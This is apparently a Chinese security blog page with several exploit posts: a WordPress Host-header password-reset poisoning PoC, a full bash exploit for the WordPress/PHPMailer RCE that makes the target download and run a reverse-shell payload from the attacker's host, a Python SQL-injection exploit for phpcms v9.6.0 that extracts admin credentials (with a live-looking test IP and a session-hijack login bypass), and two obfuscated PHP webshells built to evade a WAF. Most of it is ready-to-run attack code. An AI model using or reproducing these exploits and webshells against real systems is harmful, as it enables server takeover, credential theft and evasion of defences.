根据邮件服务器的配置,可能会导致发送给受害者WordPress用户的电子邮件头中设置的恶意的From / Return-Path地址。 

这可能允许攻击者拦截包含该邮件的邮件,密码重置链接在某些情况下需要用户交互以及没有用户互动。

一些示例场景

如果攻击者知道受害者用户的电子邮件地址。他们可以执行先前的操作DoS攻击受害者的电子邮件帐户(例如发送多个邮件)大文件超过用户的磁盘配额或攻击DNS服务器)

导致密码重置邮件被接收服务器拒绝到达目的地,从而在攻击者的服务器上接收邮件。

一些自动回复者可能附上发送到该机构的电子邮箱的副本 

自动回复的消息

发送多个密码重置电子邮件强制用户回复 

消息查询说明无限密码重置电子邮件。 

包含密码链接的回复将被发送给攻击者。

等等


概念证明


如果攻击者将类似于下面的请求发送到默认的Wordpress

-----[ HTTP Request ]----
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password
------------------------

Wordpress将触发管理员用户帐户的密码重置功能。


由于修改了HOST 头,SERVER_NAME将被设置为攻击者设置的主机名。因此,Wordpress会将以下标题和电子邮件正文传递给/ usr / bin / sendmail:

------[ resulting e-mail ]-----
Subject: [CompanyX WP] Password Reset
Return-Path: <[email protected]>
From: WordPress <[email protected]>
Message-ID: <[email protected]>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

假如有人要求为以下帐户重设密码:


http://companyX-wp/wp/wordpress/
Username: admin
要重置密码,请访问以下地址:如果这是一个误会,只要忽略这封电子邮件,什么都不会发生。
< http://companyX-wp/wp/wordpress/wp-login.php?action = rp&key = AceiMFmkMR4fsmwxIZtZ&login = admin>
我们可以看到,Return-Path/From和Message-ID的字段都有攻击者设置的域。

可以使用一个bash脚本替换/ usr / sbin / sendmail来执行头文件的验证

bash脚本:

#!/bin/bash
cat > /tmp/outgoing-email

解决方案


目前没有官方解决方案可用。作为临时解决方案,用户可以启用UseCanonicalName强制执行静态SERVER_NAME值

https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname 

这个问题首先向WordPress安全团队多次报道,第一份报告于2016年7月发送。 

由于这种情况没有进展,没有官方补丁,开始向公众发布。


参考


https://legalhackers.com/ 

https://exploitbox.io/ 

https://w3techs.com/technologies/details/cm-wordpress/all/all 

https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html


Mrxn 发布于 2017-5-4 21:49

WordPress<4.7.1 远程代码执行漏洞(非插件无需认证,附Poc,演示视频)

漏洞概述

漏洞编号:CVE-2016-10033

漏洞发现者:dawid_golunski

漏洞危害:严重

影响版本:WordPress <4.7.1

漏洞描述:远程攻击者可以利用该漏洞执行代码

漏洞细节

这个漏洞主要是PHPMailer漏洞(CVE-2016-10033)在WordPress Core代码中的体现,该漏洞不需要任何的验证和插件,在默认的配置情况下就可以利用。远程攻击者可以利用该漏洞执行代码。由于该漏洞影响比较大,通过和官方协商,决定推迟更新wordpress漏洞细节。

漏洞代码:

if ( !isset( $from_email ) ) {
              // Get the site domain and get rid of www.
              $sitename = strtolower( $_SERVER['SERVER_NAME'] );
              if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                      $sitename = substr( $sitename, 4 );
              }
              $from_email = '[email protected]' . $sitename;
      }
      /**
       * Filters the name to associate with the "from" email address.
       *
       * @since 2.3.0
       *
       * @param string $from_name Name associated with the "from" email address.
       */
      $from_name = apply_filters( 'wp_mail_from_name', $from_name );
      $phpmailer->setFrom( $from_email, $from_name );

WordPress 根据SERVER_NAME 服务器头设置电子邮件域,当WordPress wp_mail()函数被调用来发送电子邮件时(例如,用户注册,忘记密码等)。可以看到from是这样的:

$from_email = '[email protected]' . $sitename;

然后将其过滤并传递到PHPMailer的易受攻击的setFrom()函数中,相关细节请回顾:

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code -exec-CVE-2016-10033-Vuln.html

注入

可以在Apache的默认配置上操作SERVER_NAME服务器头。Web服务器(最常见的WordPress部署)通过HTTP请求中的HOST头。

为了验证这点,请看vars.php请求与响应的演示:

GET /vars.php HTTP/1.1
Host: xenialINJECTION
HTTP/1.1 200 OK
Server: Apache
Array
(
  [HTTP_HOST] => xenialINJECTION
  [SERVER_SOFTWARE] => Apache/2.4.18 (Ubuntu)
  [SERVER_NAME] => xenialinjection
...




我们可以看到,在HOST头文件中附加到主机名的INJECTION字符串 复制到HTTP_HOST和SERVER_NAME PHP变量。

使用这个HOST头的例子,如果攻击者触发了wp_mail()函数

通过使用WordPress的忘记密码功能,HTTP请求将类似于:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenialINJECT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
user_login=admin&redirect_to=&wp-submit=Get+New+Password

并将导致以下参数传递到/ usr / sbin / sendmail:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [[email protected]]

这里需要注意的是第三个参数。电子邮件的域名部分匹配请求的HOST头,小写“inject”除外。

绕过过滤

为了利用PHPMailer的mail()注入漏洞,攻击者会将参数附加到域部分。但是,过滤/验证这个地方(在wordpress方面以及PHPMailer库方面)都会

防止攻击者注入空字符(空格或TAB),因此从注入参数到sendmail binary 。

例如,如果攻击者将HOST头修改为以下内容:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenialINJECT SPACE

验证将导致无效的域部分错误,并且WordPress应用程序将退出http响应:

HTTP/1.0 500 Internal Server Error

在这种情况下,PHPMailer函数永远不会被执行(sendmail binary 不会被执行)

PHPMailer库的validateAddress()函数以及PHP的filter_var / FILTER_VALIDATE_EMAIL都符合RFC 822标准

详细请查看:

http://php.net/manual/en/filter.filters.validate.php  

它禁止域部分中的空格,从而防止注入的附加参数到/ usr / sbin / sendmail。

应该注意的是注入额外的 \ 反斜杠到电子邮件的用户名部分

http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

对于攻击者来说,在这种情况下电子邮件的用户名部分很难利用。

RFC 822和注释语法

根据查看RFC 822规范,找到绕过验证的一种潜在的方法:

https://www.ietf.org/rfc/rfc822.txt

电子邮件地址可以包含注释

该文件给出了一个电子邮件示例,其中括号中有注释:

":sysmail"@  Some-Group. Some-Org,
          Muhammed.(I am  the greatest) Ali @(the)Vegas.WBA

作为有效的电子邮件,域内部分的简化注释示例:

[email protected](comment)

经过进一步测试,结果发现注释部分可以包含空格在域名部分,可以作为一种绕过的方式。将验证域部分注入附加参数到sendmail binary。

通过注释语法注入参数

以下请求与HOST头设置为:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 injected tmp2)

不会触发错误,测试以下参数发送邮件 :

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [[email protected](tmp1]
Arg no. 4 == [injected]
Arg no. 5 == [tmp2)]

我们已经设法绕过Wordpress过滤器的验证以及PHPMailer的内部setFrom()验证。

apply_filters( 'wp_mail_from_name', $from_name );

我们现在可以控制第四个参数('inject')并且可以注入。如果需要,参数3和参数5之间有更多的参数。在理论上,我们现在应该可以注入额外的参数到/ usr / sbin / sendmail包装器 从而实现任意代码执行。

通过Sendmail MTA执行代码

迄今为止,唯一已知的方法是通过远程执行代码执行PHPmailer(),PHPmailer()依赖于目标系统上的Sendmail MTA

最常见的Sendmail MTA向量类似于:

-OQueueDirectory=/tmp/ -X/var/www/html/backdoor.php


它通常通过输入信息写入一个包含php后门的日志文件

然而,这种技术有两个问题:

1)

Sendmail MTA不再常用,我们可以通过查看来验证

http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html

这表明Sendmail在Linux MTA中最不受欢迎。它不附带任何现代的Linux发行版。

2)

上述的Sendmail技术在这种情况下不起作用。如前所述,主机名复制到SERVER_NAME服务器变量被转换成小写,因此被注入Sendmail参数在请求中类似于:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -O -X tmp2)

将出现以下一组sendmail参数:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [[email protected](tmp1]
Arg no. 4 == [-o]
Arg no. 5 == [-x]
Arg no. 6 == [tmp2)]

Sendmail会失败并出现错误,因为这里参数是区分大小写的,而-q和-x都不会工作。

通过Exim4 MTA执行代码

关于php mail()函数相关有趣的点(远程代码执行)可以关注这篇文章

https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

PHPMailer和其他电子邮件库中的漏洞同样也可以利用Exim4 MTA执行代码,基本格式如下

sendmail -be'$ {run {/ bin / true} {true} {false}}'

-be开关启用字符串扩展测试模式。上述扩展执行/ bin / true并返回值

同样,以下将执行id命令:

sendmail -be'$ {run {/ bin / bash -c“id”} {yes} {no}}'

注意:在使用Exim4的系统上,/ usr / sbin / sendmail只是一个符号链接:/ usr / sbin / sendmail  - > exim4与Sendmail MTA无关。

这个点可以可靠的方式实现执行命令

$ run expand指定为参数,不需要将文件写入/ var / www / html或猜测目录路径

HOST头限制

看似简单的Exim4 向量在实践中变得棘手,因为上述扩展字符串不能在HOST头文件中运行。

请求格式如下:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 slash/ -X tmp2)

由于在HOST头中出现斜线/字符,Apache网络服务器将会拒绝该请求。$run函数不会正常执行,因为它需要一个完整的二进制文件的路径执行(这表明exim4使用exec()来执行命令,而不是通过system()执行命令)。

绕过限制

绕过HOST头的限制几种方法

尝试通过研究可用的Exim字符串:

http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html

嵌入式perl

其中一个扩展是:

$ {perl {foo} {argument1} {argument2} ...}

不过Perl在默认情况下没有启用perl,因此漏洞无法使用。

编码

对base64和HEX编码/解码功能进行了测试。但是似乎没有被exim4支持,测试的时候报错,如:

sendmail -be'$ {base64d:QUI =}'

失败:未知扩展运算符“base64d”

子字符串和环境变量

---------------------

另一个想法是结合使用已知的环境变量,用子字符串提取禁止的斜杠字符。例如,PATH环境变量包含斜杠:

PATH = / bin:/ usr / bin

因此是一个很好的候选变量。

$ {env {PATH}}可用于获取变量和连接$substring(子字符串)扩展,从而可以获得斜杠。在以下命令中可以看到:

sendmail -be'$ {substr {0} {1} {$ {env {PATH}}}}'
/

不幸的是,这种技术导致了一个死胡同,环境变量PATH插入到HOST头文件中时转换为小写,在Linux下不工作。

子字符串和内部exim4变量

--------------------------------------

通过不断的测试发现以下变量可以使用:

sendmail -be '${spool_directory}'
/var/spool/exim4

spool_directory变量默认存在,并且没有大写字母,因此可以可靠地执行。

斜杠可以替换为:

$ {SUBSTR {0} {1} {$ spool_directory}}

从而绕过HOST头的斜杠限制。

以下命令:

sendmail -be'$ {run {/ usr / bin / touch / tmp / test}}'

现在可以转换为:

sendmail -be'$ {run {$ {substr {0} {1} {$ spool_directory}} usr $ {substr {0} {1} {$ spool_directory}} bin $ {substr {0} {1} {$ spool_directory }} touch $ {substr {0} {1} {$ spool_directory}} tmp $ {substr {0} {1} {$ spool_directory}} test}}'

这在terminal 下正常工作,但是在HTTP请求中进行测试时:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}  tmp2)

转化后是以下sendmail参数:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [[email protected](tmp1]
Arg no. 4 == [-be]
Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch]
Arg no. 6 == [${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}]
Arg no. 7 == [tmp2)]

我们可以看到,有效载荷被分解成5和6的两个参数而不是一个,这样可以防止Exim正确地执行有效载荷。这个问题是由命令参数之间的空格引起的(空格'touch')

替换空格

------------------

首先,我们考虑环境变量IFS,环境变量不能像以前测试的那样正常工作。

经过深入研究,发现了一个方便的内部exim变量:

sendmail -be'$ {tod_log}'
2016-01-02 23:49:42

tod_log变量返回一个含有空格的当前日期格式。

类似于斜杠替换,$ substring + $ tod_log变量可以

用于替换测试的空格:

sendmail -be'$ {substr {10} {1} {$ tod_log}}'

PoC HTTP请求

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}  tmp2)
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password

发送到WordPress核心应用程序时的上述请求会导致exim被调用,其中转化后的参数格式如下:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [[email protected](tmp1]
Arg no. 4 == [-be]
Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}]
Arg no. 6 == [tmp2)]

这里将在目标系统WordPress 4.6上创建一个测试test文件:

/usr/bin/touch /tmp/test

以上是全部的构造PoC的过程,可以通过这个逻辑进而反弹shell。

PoC 


rev_host="192.168.57.1"
function prep_host_header() {
      cmd="$1"
      rce_cmd="\${run{$cmd}}";
      # replace / with ${substr{0}{1}{$spool_directory}}
      #sed 's^/^${substr{0}{1}{$spool_directory}}^g'
      rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"
      # replace ' ' (space) with
      #sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
      rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
      #return "target(any [email protected] -be $rce_cmd null)"
      host_header="target(any [email protected] -be $rce_cmd null)"
      return 0
}
#cat exploitbox.ans
intro="
DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r
bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f
G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c
G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg
IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f
IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f
X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6
b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb
NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N
TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1
QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz
NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g
G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54
eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb
WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO
TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD
G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob
WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz
NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb
MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"
intro2="
ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09
fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb
MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE
aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09
fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg
ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh
bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt
ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp
bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1
cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg=="
echo "$intro"  | base64 -d
echo "$intro2" | base64 -d
if [ "$#" -ne 1 ]; then
echo -e "Usage:\n$0 target-wordpress-url\n"
exit 1
fi
target="$1"
echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo
if [ "$choice" == "y" ]; then
echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
echo -e "\e[92m[+]\033[0m Connected to the target"
# Serve payload/bash script on :80
RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
echo "$RCE_exec_cmd" > rce.txt
python -mSimpleHTTPServer 80 2>/dev/null >&2 &
hpid=$!
# Save payload on the target in /tmp/rce
cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
prep_host_header "$cmd"
curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
cmd="/bin/bash /tmp/rce"
prep_host_header "$cmd"
curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword &
echo -e "\n\e[92m[+]\033[0m Payload executed!"
echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
nc -vv -l 1337
echo
else
echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
exit 0
fi
echo "Exiting..."
exit 0

PoC演示视频: http://v.youku.com/v_show/id_XMjc0MDU2NjQyMA==.html

修复建议:

更新到最新版本或者4.7.1以上版本

下载地址https://wordpress.org/latest.zip

参考:

https://legalhackers.com/ 

https://exploitbox.io/ 

https://youtu.be/ZFt_S5pQPX0 

https://w3techs.com/technologies/details/cm-wordpress/all/all 

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html 

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html 

https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html 

https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html  


Mrxn 发布于 2017-5-4 21:25

phpcms_v9.6.0_sql注入与exp

phpcms_v9.6.0_sql注入分析

可疑的函数

localhost/phpcms/modules/attachment/attachments.php文件的第241GET提交src变量带上了safe_relace函数,现在我们跟入这个该死的过滤函数看看它到底在搞什么鬼....*/

2.过滤函数剖析和绕过

localhost/phpcms/libs/functions/global.func.php文件的63行开始可以看到此处将传入的%27和%2527都进行删除处理也就是还没传入数据库前就已经被该死的程序吃了,但是在67行看到他还吃了*这样我们就有办法了也就是传入%*27程序吃掉星号后%27就会被传入。*/

3.src变量到底去哪了

/*这里不做截图请回到第一步的截图查看,在241行代码src传入arr数组后在243行被json_encode函数加密为json格式后传入json_str数组,然后在244行代码又将json加密为cookie。在这里我做个大胆的假设src存在注入那么我们要传入参数:src=%*27 updatexml(1,concat(1,(user())),1)%23;那么我们传入的参数将会被json加密后最终成为了:{src:%*27 updatexml(1,concat(1,(user())),1)%23};再然后就是cookie加密这里不做计算cookie加密值需要的同学自己echo,假设暂且到这,它的最终这些动作都被赋值为swfupload_json函数。到此src变量故事以及完结请看下一章。*/

down.php的decode成全了我

/*在localhost/phpcms/modules/content/down.php的第14行代码将a_k变量进行了decode操作这样子我们把刚刚在src进行加密的SQL传入a_k他就会进行解密还原回json,17行 将json字符串解析成变量 -> parse_str 以 & 区分,将字符串解析成3个变量最后传入SQL为:{“aid":1,"src":"&id=%27 updatexml(1,concat(1,(user)),1)#&m=1&f=haha&modelid=2&catid=7&”,”filename”:””};此处可以看到之前%*27的*没了因为已经被他妈的狗比安全函数吃了*。最后我们看在第26行代码将id传入SQL字段id既然这样那就OK了我们尝试还原。*/

phpcms_v9.6.0_sql注入还原

1.访问/index.php?m=wap&c=index&a=init&siteid=1获取一个cookie值传入该死的src那块操作否则会没有身份

2.把这个傻逼cookie的值复制下来以POST传入userid_flash变量访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26不要问我URL编码里面是什么东西我会告诉你那是SQL的Payload

3.上一步我们已经获取到了通过json在通过cookie加密的SQL了因为他返回的cookie就是已经加密的SQLPayload现在我们传入到a_k变量看看到底发生了什么?

网上这个文档传的很快

作者我也不知道是谁

大家都把版权改成自己的

我也是醉了

有知情人士可留言~给人家一个版权

下面是EXP:

import requests,sys,urllib

url = sys.argv[1]

print 'Phpcms v9.6.0 SQLi Exploit Code By Luan'

sqli_prefix = '%*27an*d%20'

sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))'

sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om '

sqli_password2 = '_admin li*mit 0,1)x))'

sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6'

setp1 = url + '/index.php?m=wap&a=index&siteid=1'

cookies = {}

for c in requests.get(setp1).cookies:

if c.name[-7:] == '_siteid':

cookie_head = c.name[:6]

cookies[cookie_head+'_userid'] = c.value

cookies[c.name] = c.value

print '[+] Get Cookie : ' + str(cookies)

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

if c.name[-9:] == '_att_json':

sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1]

table_prefix = html[html.find('_download_data')-2:html.find(    '_download_data')]

print '[+] Get Table Prefix : ' + table_prefix

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

if c.name[-9:] == '_att_json':

sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1]

exp也是别人分享给我的

看起来作者应该是luan

测试地址:

122.9.16.209


成功截图:

不过呢,众所周知

phpcms的密文特别难解密

所以有个配合使用的方法

通过sql注入漏洞读取数据库信息

但是不能破解密码的情况下

可以绕过后台验证

phpcms数据库中表v9_session

保存着管理员登录的信息

而且字段sessionid保存着就是

已经登录管理后台的PHPSESSID

可以通过sql注入读取到这个值

并写入到自己的浏览器中。

直接访问后台地址:

/index.php?m=admin&c=index&a=public_menu_left

将数据库中的sessionid信息带入!

相关文章网上也有

最后,我还是觉得这个漏洞挺鸡肋的

至于哪里鸡肋请看官细细体会

还有几个更牛逼的漏洞也许

过几天就会有人放出来了

反正我不做第一个吃螃蟹的人了

怕被打死~

原文地址:https://zhuanlan.zhihu.com/p/26263513

PS:很多政府机关/事业单位都是phpcms,我批量检测里面有很多都中招了,赶紧升级吧!阿西吧...据说二月份就出来了...


Mrxn 发布于 2017-4-24 21:30

如何绕过安全狗waf这类的防护软件--PHP过狗一句话实例两枚+过狗详细分析讲解

00x01

   目前大多数网站都存在类似安全狗,360主机卫士的防护软件,所以今天咱们来一波虐狗

00x02

   下面是我整理的一些免杀的思路:    

               1.关键字替换

               2.组合猜分

               3.关键函数替换

               4.加解密/编码/解码

               5.可变变量

       可变变量顾名思义,变量的变量

       例:

        $a='b';$b='hello world!';echo $$a;

00x03

   一句话原型:

snipaste_20170409_133924.png


一句话原型可以分为以下两部分:

   eval()                   ------>    函数部分

   $_POST["ceshi"]    ------>    传值部分


00x04

   想要绕过安全狗,我们首先要想到它的过滤机制,我做了一番测试,直接放一句话原型上去,会被杀,然而注释掉传值部分就不会被杀,所以我们要混淆

传值部分,函数部分也混淆,让这类防护软件傻傻分不清,从而达到免杀的效果(欢迎各位老表小弟释放出你们的淫荡姿势-_-||)。

00x05

传值方式:

               1.$_GET

               2.$_POST

               3.$_REQUEST


可能会用到的函数:            

assert() eval() str_replace()

               trim() ltrim() rtrim()

               array() rand()


00x06

免杀系列:

//例1:
<?php
    $c = 'w';$w = 'assert';
    $a = array(/**/$_REQUEST["ceshi"],/**/$_GET["ceshi"],/**/$_POST["ceshi"],/**/$_FILE["ceshi"],/**/$_COOKIE["ceshi"]);
    foreach($a as $k => $v){
        if($k==$_GET["a"]){//a=0
            $$c($v);
        }
    }
?>

//例2:
<?php
    $a = str_replace('c','',trim('ssscacssss','s').ltrim('aaascc','a').rtrim('ccsbbbbb','b').trim('vvvvcecvvvvvv','v').trim('sssscrcssss','s').ltrim('aaaactc','a'));
    $b = array('ccc',/**/$_POST["w"],/**/$_REQUEST["w"]);
    foreach($b as $k => $v){
        if($k == rand($_GET["a"],$_GET["b"])){//a=1&b=2
            $a($v);
        }
    }
?>

下面配上过狗的截图,昨天新鲜出炉的,欢迎食用.(请点击图片浏览高清原图):

点击查看原图

今天就写到这里,我们下次见!


Mrxn 发布于 2017-4-9 13:34

centos开启ssh密钥登录总结


